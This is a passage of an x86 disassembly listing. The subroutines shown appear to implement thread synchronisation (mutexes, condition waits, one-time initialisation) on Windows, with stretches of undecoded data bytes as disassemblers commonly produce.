dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F96: ; CODE XREF: sub_431EF0+67j
mov eax, [esp+10h+arg_4]
test eax, eax
jnz short loc_431FAA
mov ebp, 16h
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431FAA: ; CODE XREF: sub_431EF0+ACj
lea edi, [esi+10h]
push eax
push edi
call sub_432100
add esp, 8
sub eax, 0
jz loc_43206A
dec eax
jz short loc_432034
dec eax
jz short loc_431FD5
nop
call near ptr 77C1F2BCh
mov ebp, [eax]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431FD5: ; CODE XREF: sub_431EF0+D4j
lea ebx, [esi+14h]
push ebx
call near ptr 7C901005h
nop
push edi
mov ebp, 274Ch
call sub_4010A5
add esp, 4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_432007
call near ptr 278076Dh
nop
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432007: ; CODE XREF: sub_431EF0+101j
call near ptr 278076Dh
nop
test eax, eax
jl short loc_432026
push edi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_432026
nop
call near ptr 77C1F2BCh
mov ebp, [eax]
loc_432026: ; CODE XREF: sub_431EF0+11Fj
; sub_431EF0+12Cj
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432034: ; CODE XREF: sub_431EF0+D1j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
call sub_4010A5
mov edi, eax
add esp, 4
cmp edi, 0FFFFFFFFh
jnz short loc_43205A
push esi
nop
call near ptr 278076Dh
mov ebp, 274Ch
loc_43205A: ; CODE XREF: sub_431EF0+15Cj
push ebx
call near ptr 7C9010EDh
nop
test edi, edi
jnz short loc_432081
jmp loc_431F30
; ---------------------------------------------------------------------------
loc_43206A: ; CODE XREF: sub_431EF0+CAj
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43207E
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43207E: ; CODE XREF: sub_431EF0+4Dj
; sub_431EF0+187j
mov [esi+0Ch], eax
loc_432081: ; CODE XREF: sub_431EF0+173j
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432088: ; CODE XREF: sub_431EF0+Aj
; sub_431EF0+14j
pop esi
mov eax, 16h
pop ebp
retn
sub_431EF0 endp
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432100 proc near ; CODE XREF: sub_431EF0+BFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push esi
push edi
mov edi, [esp+14h+arg_0]
test edi, edi
jz loc_43219E
mov esi, [esp+14h+arg_4]
test esi, esi
jnz short loc_432132
or eax, 0FFFFFFFFh
loc_43211C: ; CODE XREF: sub_432100+7Fj
push eax
mov eax, [edi]
mov ecx, [eax]
push ecx
call near ptr 2780469h
nop
test eax, eax
jnz short loc_43218C
pop edi
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432132: ; CODE XREF: sub_432100+17j
lea eax, [esp+14h+var_C]
push eax
call near ptr 77C49113h
nop
mov ecx, [esi+4]
mov eax, 431BDE83h
add ecx, 7A120h
add esp, 4
mul ecx
mov eax, [esi]
mov ecx, [esp+14h+var_C]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
mov edx, [esp+14h+var_8]
sub eax, ecx
and edx, 0FFFFh
sub eax, edx
jns short loc_43211C
pop edi
mov eax, 2
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43218C: ; CODE XREF: sub_432100+2Aj
cmp eax, 102h
jnz short loc_43219E
pop edi
mov eax, 1
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43219E: ; CODE XREF: sub_432100+Bj
; sub_432100+91j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 0Ch
retn
sub_432100 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4321F0 proc near ; CODE XREF: sub_4010C3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
jz loc_432290
mov esi, [eax]
cmp esi, ebx
jz loc_432290
cmp esi, 0FFFFFFFFh
push edi
jz short loc_432285
mov eax, [esi+0Ch]
mov edi, 1
cmp eax, edi
jz short loc_43223A
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A64
add esp, 8
test eax, eax
jnz short loc_43223A
mov ebx, edi
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43223A: ; CODE XREF: sub_4321F0+2Aj
; sub_4321F0+40j
cmp [esi+8], edi
jnz short loc_432248
mov eax, [esi+4]
dec eax
mov [esi+4], eax
jnz short loc_43228A
loc_432248: ; CODE XREF: sub_4321F0+4Dj
lea edi, [esi+14h]
mov [esi+0Ch], ebx
push edi
nop
call near ptr 7C901005h
push esi
nop
call near ptr 278076Dh
test eax, eax
jl short loc_432278
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_432278
call near ptr 77C1F2BCh
nop
mov ebx, [eax]
loc_432278: ; CODE XREF: sub_4321F0+6Ej
; sub_4321F0+7Ej
push edi
nop
call near ptr 7C9010EDh
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432285: ; CODE XREF: sub_4321F0+1Ej
mov ebx, 16h
loc_43228A: ; CODE XREF: sub_4321F0+56j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432290: ; CODE XREF: sub_4321F0+Aj
; sub_4321F0+14j
pop esi
mov eax, 16h
pop ebx
retn
sub_4321F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4322D0 proc near ; CODE XREF: sub_401785j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz short loc_432355
mov eax, [esi]
test eax, eax
jz short loc_432355
cmp eax, 0FFFFFFFFh
jnz short loc_4322F2
push esi
call sub_401C17
add esp, 4
mov edi, eax
loc_4322F2: ; CODE XREF: sub_4322D0+15j
mov esi, [esi]
test edi, edi
jnz short loc_432350
push 0FFFFFFFFh
push edi
push esi
call dword_5103C8 ; InterlockedCompareExchange
cmp eax, 0FFFFFFFFh
jnz short loc_432323
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43231B
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43231B: ; CODE XREF: sub_4322D0+44j
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432323: ; CODE XREF: sub_4322D0+35j
cmp dword ptr [esi+8], 1
jnz short loc_43234B
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A64
add esp, 8
test eax, eax
jz short loc_43234B
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_43234B: ; CODE XREF: sub_4322D0+57j
; sub_4322D0+6Dj
mov edi, 10h
loc_432350: ; CODE XREF: sub_4322D0+26j
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432355: ; CODE XREF: sub_4322D0+Aj
; sub_4322D0+10j
pop edi
mov eax, 16h
pop esi
retn
sub_4322D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432390: ; CODE XREF: ___:0040193Dj
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_40119A
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4323C0: ; CODE XREF: ___:00401591j
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_4018CF
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4323F0: ; CODE XREF: ___:00401497j
mov eax, [esp+4]
test eax, eax
jz short loc_4323FC
mov eax, [eax+4]
retn
; ---------------------------------------------------------------------------
loc_4323FC: ; CODE XREF: ___:004323F6j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432410: ; CODE XREF: ___:00401C12j
mov eax, [esp+4]
push esi
test eax, eax
push edi
jnz short loc_432422
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432422: ; CODE XREF: ___:00432418j
mov esi, [eax]
test esi, esi
jnz short loc_432445
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_432445
call sub_401D02
; ---------------------------------------------------------------------------
dd 2EE89056h, 0E80241DFh, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_432445: ; CODE XREF: ___:00432426j
; ___:0043242Dj
mov ecx, [eax+4]
mov eax, 431BDE83h
add ecx, 0F423Fh
imul ecx
sar edx, 12h
mov eax, edx
shr eax, 1Fh
add edx, eax
lea eax, [esi+esi*4]
lea eax, [eax+eax*4]
lea ecx, [eax+eax*4]
lea edi, [edx+ecx*8]
call sub_4012E4
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jnz short loc_43247E
pop edi
mov eax, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_43247E: ; CODE XREF: ___:00432474j
mov eax, [esi+30h]
push edi
test eax, eax
jnz short loc_4324E6
mov edx, [esi+38h]
push edx
nop
call near ptr 2780469h
test eax, eax
jnz short loc_4324D7
lea edi, [esi+2Ch]
push edi
call sub_402248
mov eax, [esi+0Ch]
add esp, 4
cmp eax, 3
jge short loc_4324C6
push edi
mov dword ptr [esi+0Ch], 3
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
add esp, 8
loc_4324C6: ; CODE XREF: ___:004324A6j
push edi
call sub_4010C3
add esp, 4
mov eax, 3
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4324D7: ; CODE XREF: ___:00432492j
cmp eax, 102h
jz short loc_4324EC
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4324E6: ; CODE XREF: ___:00432484j
nop
call near ptr 2850369h
loc_4324EC: ; CODE XREF: ___:004324DCj
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432540: ; CODE XREF: ___:00401014j
push ecx
lea eax, [esp+0]
push eax
call sub_401C3A
add esp, 4
test eax, eax
mov eax, 1
jnz short loc_43255B
mov eax, [esp+0]
loc_43255B: ; CODE XREF: ___:00432555j
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432570 proc near ; CODE XREF: sub_401712j
push esi
call sub_401320
push offset aKernel32_dll ; "KERNEL32.DLL"
mov esi, eax
nop
call near ptr 27F088Ah
push offset aInterlockedcom ; "InterlockedCompareExchange"
push eax
mov dword_5103AC, eax
nop
call near ptr 28C04C7h
test eax, eax
mov dword_5103C8, eax
jnz short loc_4325BD
mov eax, dword_5103AC
mov dword_5103C8, offset sub_4012D0
push eax
nop
call near ptr 2760715h
mov dword_5103AC, 0
loc_4325BD: ; CODE XREF: sub_432570+2Bj
mov eax, esi
pop esi
retn
sub_432570 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4325F0 proc near ; CODE XREF: sub_401627j
mov eax, dword_5103B0
test eax, eax
jz short loc_432640
mov eax, dword_5103B4
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h
dd 5103B40Dh, 4C48300h, 6A118Bh, 0B2E89052h, 0E80232DDh
dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0D6E85007h, 900232E0h
; ---------------------------------------------------------------------------
loc_432640: ; CODE XREF: sub_4325F0+7j
mov eax, 1
retn
sub_4325F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432670 proc near ; CODE XREF: sub_4017BCj
mov eax, 1
retn
sub_432670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432690 proc near ; CODE XREF: sub_4017CBj
mov eax, dword_5103B0
test eax, eax
jz short loc_4326CB
mov eax, dword_5103B4
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
dd 5103B40Dh, 4C48300h, 6A118Bh, 12E89052h
db 0DDh, 32h, 2
; ---------------------------------------------------------------------------
loc_4326CB: ; CODE XREF: sub_432690+7j
mov eax, 1
retn
sub_432690 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432700: ; CODE XREF: ___:0040225Cj
push ecx
push esi
push offset dword_510980
xor esi, esi
nop
call near ptr 7C901005h
mov eax, dword_5103BC
test eax, eax
mov [esp+4], eax
jz short loc_43273E
loc_43271C: ; CODE XREF: ___:0043273Cj
test esi, esi
jnz short loc_43273E
lea eax, [esp+4]
push eax
call sub_40160E
mov ecx, [esp+8]
mov esi, eax
add esp, 4
mov eax, [ecx+18h]
test eax, eax
mov [esp+4], eax
jnz short loc_43271C
loc_43273E: ; CODE XREF: ___:0043271Aj
; ___:0043271Ej
push offset dword_510980
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0Bh
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432780 proc near ; CODE XREF: sub_4012B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_432799
mov eax, [eax]
test eax, eax
jz short loc_432799
cmp dword ptr [eax], 0C4C0FFEEh
jnz short loc_432799
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432799: ; CODE XREF: sub_432780+6j
; sub_432780+Cj ...
mov eax, 1
retn
sub_432780 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4327B0 proc near ; CODE XREF: sub_401320j
mov eax, dword_5103B0
test eax, eax
jz short loc_4327BF
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4327BF: ; CODE XREF: sub_4327B0+7j
push 0
push offset dword_5103B4
mov dword_5103B0, 1
call sub_401609
add esp, 8
test eax, eax
jnz short loc_4327EE
push eax
push offset dword_5103B8
call sub_401609
add esp, 8
test eax, eax
jz short loc_4327F3
loc_4327EE: ; CODE XREF: sub_4327B0+2Aj
call sub_401645
loc_4327F3: ; CODE XREF: sub_4327B0+3Cj
push esi
mov esi, dword_511868
push offset dword_5108C0
call esi
push offset dword_510920
call esi
push offset dword_510980
call esi
push offset dword_510900
call esi
push offset dword_510960
call esi
push offset dword_510940
call esi
mov eax, dword_5103B0
pop esi
retn
sub_4327B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432850 proc near ; CODE XREF: sub_401645j
mov eax, dword_5103B0
test eax, eax
jz locret_432909
mov eax, dword_5103B4
test eax, eax
jz short loc_432879
push eax
call sub_401AB4
add esp, 4
mov dword_5103B4, 0
loc_432879: ; CODE XREF: sub_432850+14j
mov eax, dword_5103B8
test eax, eax
jz short loc_432895
push eax
call sub_401AB4
add esp, 4
mov dword_5103B8, 0
loc_432895: ; CODE XREF: sub_432850+30j
push esi
push offset dword_5108C0
call near ptr 7C901005h
nop
mov eax, dword_447700
cmp eax, 1
jz short loc_4328C3
push edi
mov edi, dword_511AD0
loc_4328B2: ; CODE XREF: sub_432850+70j
mov esi, [eax+8]
push eax
call edi ; free
add esp, 4
cmp esi, 1
mov eax, esi
jnz short loc_4328B2
pop edi
loc_4328C3: ; CODE XREF: sub_432850+59j
push offset dword_5108C0
nop
call near ptr 7C9010EDh
mov esi, dword_511864
push offset dword_510940
call esi
push offset dword_510960
call esi
push offset dword_510900
call esi
push offset dword_510980
call esi
push offset dword_510920
call esi
push offset dword_5108C0
call esi
mov dword_5103B0, 0
pop esi
locret_432909: ; CODE XREF: sub_432850+7j
retn
sub_432850 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432940: ; CODE XREF: ___:loc_401BA9j
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+8]
push esi
push edi
push eax
mov esi, [eax]
mov ecx, [eax+4]
mov edx, [eax+8]
mov [ebp-4], esi
mov [ebp-0Ch], ecx
mov [ebp-8], edx
call near ptr 77C2C21Bh
nop
mov eax, dword_5103B4
push esi
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
mov dword ptr [esi+0Ch], 1
add esi, 3Ch
push 0
push esi
call sub_437D4C
; ---------------------------------------------------------------------------
mov edi, [ebp-4]
add esp, 14h
test eax, eax
jnz short loc_43299C
mov ecx, [ebp-8]
push ecx
call dword ptr [ebp-0Ch]
add esp, 4
mov [edi+14h], eax
mov esi, eax
jmp short loc_4329A8
; ---------------------------------------------------------------------------
loc_43299C: ; CODE XREF: ___:00432989j
dec eax
jz short loc_4329A5
dec eax
or esi, 0FFFFFFFFh
jmp short loc_4329A8
; ---------------------------------------------------------------------------
loc_4329A5: ; CODE XREF: ___:0043299Dj
mov esi, [edi+14h]
loc_4329A8: ; CODE XREF: ___:0043299Aj
; ___:004329A3j
cmp dword ptr [edi+20h], 1
jnz short loc_4329C7
call sub_4017CB
push esi
call near ptr 77C3A307h
nop
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4329C7: ; CODE XREF: ___:004329ACj
push edi
call sub_40131B
add esp, 4
push esi
nop
call near ptr 77C3A307h
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432A20 proc near ; CODE XREF: sub_4017B7j
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_58 = byte ptr -58h
var_4C = dword ptr -4Ch
var_8 = byte ptr -8
arg_0 = dword ptr 4
sub esp, 84h
push ebx
mov ebx, [esp+88h+arg_0]
test ebx, ebx
push esi
jz short loc_432A9A
lea esi, [ebx+2Ch]
push edi
push esi
call sub_402248
push esi
mov dword ptr [ebx+0Ch], 5
call sub_4010C3
push ebx
call sub_40131B
mov ecx, 21h
mov esi, ebx
lea edi, [esp+9Ch+var_84]
push ebx
rep movsd
call sub_401BD1
mov eax, [esp+0A0h+var_4C]
mov esi, dword_5118E0
add esp, 10h
test eax, eax
pop edi
jz short loc_432A78
push eax
call esi
loc_432A78: ; CODE XREF: sub_432A20+53j
lea eax, [esp+8Ch+var_58]
push eax
call sub_402252
mov eax, [esp+90h+var_80]
add esp, 4
test eax, eax
jz short loc_432A9A
test [esp+8Ch+var_8], 1
jnz short loc_432A9A
push eax
call esi
loc_432A9A: ; CODE XREF: sub_432A20+11j
; sub_432A20+6Bj ...
pop esi
pop ebx
add esp, 84h
retn
sub_432A20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432AE0 proc near ; CODE XREF: sub_401DDEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
push edi
push 14h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432B01
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432B01: ; CODE XREF: sub_432AE0+15j
mov edi, [esp+10h+arg_8]
mov ebp, [esp+10h+arg_4]
mov dword ptr [esi], 0FFFFFFFFh
mov [esi+4], ebp
lea ebx, [edi+8]
mov [esi+8], edi
push ebx
call sub_402248
add esp, 4
mov [esp+10h+arg_4], eax
test eax, eax
jz short loc_432B42
push esi
call sub_402252
push esi
nop
call near ptr 77C2C21Bh
mov eax, [esp+18h+arg_4]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432B42: ; CODE XREF: sub_432AE0+47j
mov eax, [edi+0Ch]
push ebx
mov [esi+10h], eax
mov [edi+0Ch], esi
call sub_4010C3
add esp, 4
test ebp, ebp
jz short loc_432B67
mov ecx, [ebp+80h]
mov [esi+0Ch], ecx
mov [ebp+80h], esi
loc_432B67: ; CODE XREF: sub_432AE0+76j
mov edx, [esp+10h+arg_0]
pop edi
xor eax, eax
mov [edx], esi
pop esi
pop ebp
pop ebx
retn
sub_432AE0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432BB0 proc near ; CODE XREF: sub_40105Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_432BD7
mov eax, [esi+8]
test eax, eax
jnz short loc_432BD7
mov eax, [esi+4]
test eax, eax
jnz short loc_432BD7
push esi
call sub_402252
push esi
call near ptr 77C2C21Bh
nop
add esp, 8
loc_432BD7: ; CODE XREF: sub_432BB0+7j
; sub_432BB0+Ej ...
pop esi
retn
sub_432BB0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432BF0 proc near ; CODE XREF: sub_40131Bj
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
jz short loc_432C5D
mov esi, [ebx+80h]
test esi, esi
jz short loc_432C5D
push edi
loc_432C05: ; CODE XREF: sub_432BF0+6Aj
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_432C58
mov edi, [esi+8]
test edi, edi
jz short loc_432C33
push edi
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_432C33
mov edi, [edi+4]
test edi, edi
jz short loc_432C33
push eax
loc_432C2E: ; CODE XREF: ___:00432CA7j
call edi ; free
add esp, 4
loc_432C33: ; CODE XREF: sub_432BF0+27j
; sub_432BF0+34j ...
mov eax, [esi+0Ch]
mov dword ptr [esi+4], 0
push esi
mov [ebx+80h], eax
call sub_4010C3
push esi
call sub_40105F
mov esi, [ebx+80h]
add esp, 8
loc_432C58: ; CODE XREF: sub_432BF0+20j
test esi, esi
jnz short loc_432C05
pop edi
loc_432C5D: ; CODE XREF: sub_432BF0+8j
; sub_432BF0+12j
pop esi
pop ebx
retn
sub_432BF0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_432C80 proc near ; CODE XREF: sub_401DEDj
mov eax, dword_5103B4
push ebx
push edi
push eax
call sub_401190
sub_432C80 endp
; ---------------------------------------------------------------------------
db 8Bh, 5Ch, 24h
; ---------------------------------------------------------------------------
adc [ebx-47CFB3Ch], al
add cl, [ebx-7CF28B08h]
sti
add [eax+ecx+6Ah], esi
add [eax-7F8E2918h], edx
ja short loc_432C2E
push dword ptr [esi+eax-0Ah]
inc edi
jl short near ptr loc_432CB0+1
loc_432CB0: ; CODE XREF: ___:00432CAEj
jz short loc_432CD5
push esi
mov eax, ebx
xor esi, esi
dec eax
jz short loc_432CC2
dec eax
jnz short loc_432CC5
or esi, 0FFFFFFFFh
jmp short loc_432CC5
; ---------------------------------------------------------------------------
loc_432CC2: ; CODE XREF: ___:00432CB8j
mov esi, [edi+14h]
loc_432CC5: ; CODE XREF: ___:00432CBBj
; ___:00432CC0j
call sub_4017CB
push esi
call near ptr 77C3A307h
nop
add esp, 4
pop esi
loc_432CD5: ; CODE XREF: ___:loc_432CB0j
push 1
call sub_401B22
; ---------------------------------------------------------------------------
dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h
dd 8 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_432D10 proc near ; CODE XREF: sub_401B22j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_401122
sub_432D10 endp
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_432D2F
loc_432D22: ; CODE XREF: ___:00432D2Dj
push esi
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_432D22
loc_432D2F: ; CODE XREF: ___:00432D20j
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432D50: ; CODE XREF: ___:00401DF7j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432D70 proc near ; CODE XREF: sub_4012D0j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
lock cmpxchg [ecx], edx
mov [ebp+var_4], eax
pop edx
pop ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_432D70 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432DB0 proc near ; CODE XREF: sub_401C3Aj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
lea eax, [esp+8+var_4]
lea ecx, [esp+8+var_8]
push esi
push eax
push ecx
xor esi, esi
nop
call near ptr 27A01BFh
push eax
call near ptr 2760000h
nop
test eax, eax
jz short loc_432DF2
mov edx, [esp+0Ch+var_8]
xor ecx, ecx
mov eax, 1
loc_432DDC: ; CODE XREF: sub_432DB0+33j
test eax, edx
jz short loc_432DE1
inc ecx
loc_432DE1: ; CODE XREF: sub_432DB0+2Ej
shl eax, 1
jnz short loc_432DDC
mov edx, [esp+0Ch+arg_0]
mov eax, esi
pop esi
mov [edx], ecx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_432DF2: ; CODE XREF: sub_432DB0+1Fj
mov eax, 0Bh
pop esi
add esp, 8
retn
sub_432DB0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E20 proc near ; CODE XREF: sub_40185Cj
arg_0 = dword ptr 4
push esi
push offset dword_510960
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_432E54
push esi
push ecx
call sub_401F91
add esp, 8
mov esi, eax
push offset dword_510960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E54: ; CODE XREF: sub_432E20+17j
test eax, eax
jnz short loc_432E5D
mov esi, 16h
loc_432E5D: ; CODE XREF: sub_432E20+36j
push offset dword_510960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_432E20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E90 proc near ; CODE XREF: sub_401861j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+14h]
lea ecx, [esi+4]
neg eax
push ecx
mov [esi+0Ch], eax
mov dword ptr [esi+14h], 0
call sub_4010C3
push esi
call sub_4010C3
add esp, 8
pop esi
retn
sub_432E90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432ED0 proc near ; CODE XREF: sub_401F91j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
xor esi, esi
test eax, eax
jnz short loc_432EE2
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432EE2: ; CODE XREF: sub_432ED0+9j
mov eax, [esp+4+arg_4]
push ebx
test eax, eax
push edi
jz short loc_432F02
cmp dword ptr [eax], 0
jz short loc_432F02
mov ecx, [esp+0Ch+arg_0]
mov edi, 16h
mov eax, edi
pop edi
